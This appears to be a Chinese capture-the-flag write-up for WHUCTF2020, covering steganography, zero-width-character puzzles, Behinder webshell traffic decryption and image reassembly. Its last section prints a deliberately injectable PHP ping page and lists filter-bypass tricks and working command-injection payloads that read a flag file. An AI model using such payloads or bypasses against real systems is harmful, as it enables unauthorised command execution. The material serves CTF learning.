WHUCTF2020 MISC
武汉大学的题还是很好的,有几个点是知识盲区,弟弟把没做出来的题复现一下
颜文字
链接:https://pan.baidu.com/s/1q_yZ-NqW_UQG2loADeefDg
提取码:wwxz
1、扫QR Code,得到这个链接https://space.bilibili.com/309312103就卡住了(我傻了)
png+key,尝试lsb解(py2下哦)
python lsb.py extract 2333.png 1.txt 1234
2、看到最后是倒序的png。
版权保护
链接:https://pan.baidu.com/s/1IQmhAVuugDhfelStE7We_Q
提取码:ud8j
1、
问贝塔姐姐学到一手,2个汉字中间8个零宽字符,只有&awj
和&zwnj
2中零宽字符,(傻了傻了)按住鼠标拖到qq消息框
&awj
记0,&zwnj
记1,bin->hex。
shellOfAwd
链接:https://pan.baidu.com/s/1uwiiP8TA4iwy12z1OLNErA
提取码:ymqu
1、过滤http流量
冰蝎流量的特征,参考:
冰蝎动态二进制加密WebShell基于流量侧检测方案
冰蝎动态二进制加密WebShell特征分析
基于流量侧检测冰蝎webshell交互通讯
在GET请求包中发现2次.php?pass=
在POST请求包中发现Transfer-Encoding: chunked
确定是冰蝎流量
2、冰蝎加密原理,参考:红蓝对抗——加密Webshell“冰蝎”攻防
前面提到的带pass的2条流量随便追踪一个,客户端GET请求申请密钥,Sever产生随机密钥,并写入Session,Client返回16位aes密钥:91ee1bfc4fd27c90
冰蝎在通讯过程中采用AES加密,在线Aes解密
base64解码后没有什么用
被汇编支配的恐惧
链接:https://pan.baidu.com/s/1-2mLBKhe85Nd4NmCzBm4jg
提取码:jh07
hint1:你会拼图吗?
hint2:注意图片内容本身,图片是一本书哦
hint3:jpg文件末尾有几位关键信息
hint4:最后一步:光栅等距填充
hint5:最后一步的字符串与拼音有关,有一个看不清的字母被替换成了特殊字符
1、拿到的附件是加密的pic.zip和王爽汇编的.jpg
在属性中hint密码是13位,根据hint3,在结尾发现图书编号IBSN
网上搜索王爽汇编IBSN,刚好13位
2、100张bmp,1010或205
用linux下的convert
命令拼图,俺用了11次
水平方向合并为1.jpg:convert +append 1.bmp 2.bmp ... 1.jpg
竖直方向合并为res.jpg:convert -append 1.jpg 2.jpg ... res.jpg
原图有点子小,放大后的:
3、WHUCTF{硬往图上看还是可以的,然后根据Hint4、5,flag是能猜出来。
看了官方wp,感觉4列是一组,看其中一个字符,明显2,3列是透明的,把每组的2,3列填充为黑色
from PIL import Image, ImageDraw
img = Image.open("ori.png")
draw = ImageDraw.Draw(img)
for i in range(101):
if i % 4 == 1:
draw.rectangle((i,0,i+2,100), 'black')
img.save("1.png")
啊哈哈哈,我感觉2个差不了多少
flag:WHUCTF{GUANG_SH@N}
wechat_game
链接:https://pan.baidu.com/s/1HlAQyf-76Hz5ZuVN-Inxeg
提取码:g8qa
1、文件就是js,游戏用的图片和音频,txt
2、在txt中的game.txt汉字明显是倒序的
3、strings -f * | grep "ftcuhw",根据执行结果在game12345.txt搜索关键字。
ezcmd(命令执行)
开题就是源码:
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){#不能有空格
die("no space!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){#不能有'.*f.*l.*a.*g'
die("no flag");
} else if(preg_match("/tac|rm|echo|cat|nl|less|more|tail|head/", $ip)){#不能有cat、more等关键字
die("cat't read flag");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
highlight_file(__FILE__);
?>
知识点:
绕过方式:
1、空格绕过:$IFS
、$IFS$一位数字
2、黑名单绕过:
拼接绕过:a=fl;b=ag;$a$b
3、敏感字符绕过:
1)利用变量拼接绕过:a=c;b=a;c=t;$a$b$c
2)利用反斜杠\绕过:ca\t
解题:
因为flag字符串存在正则匹配,所以拼接时不能顺着写,payload:?ip=0.0.0.0;a=g;b=fla;ca\t$IFS$b$a.php
或
?ip=0.0.0.0;a=g;ca\t$IFS$9fla$a.phpF12
或
?ip=127.0.0.1;b=c;d=a;e=t;m=g;n=fla;$b$d$e$IFS$n$m.php
。
这道题和GXYCTF2019 Ping Ping Ping基本一样。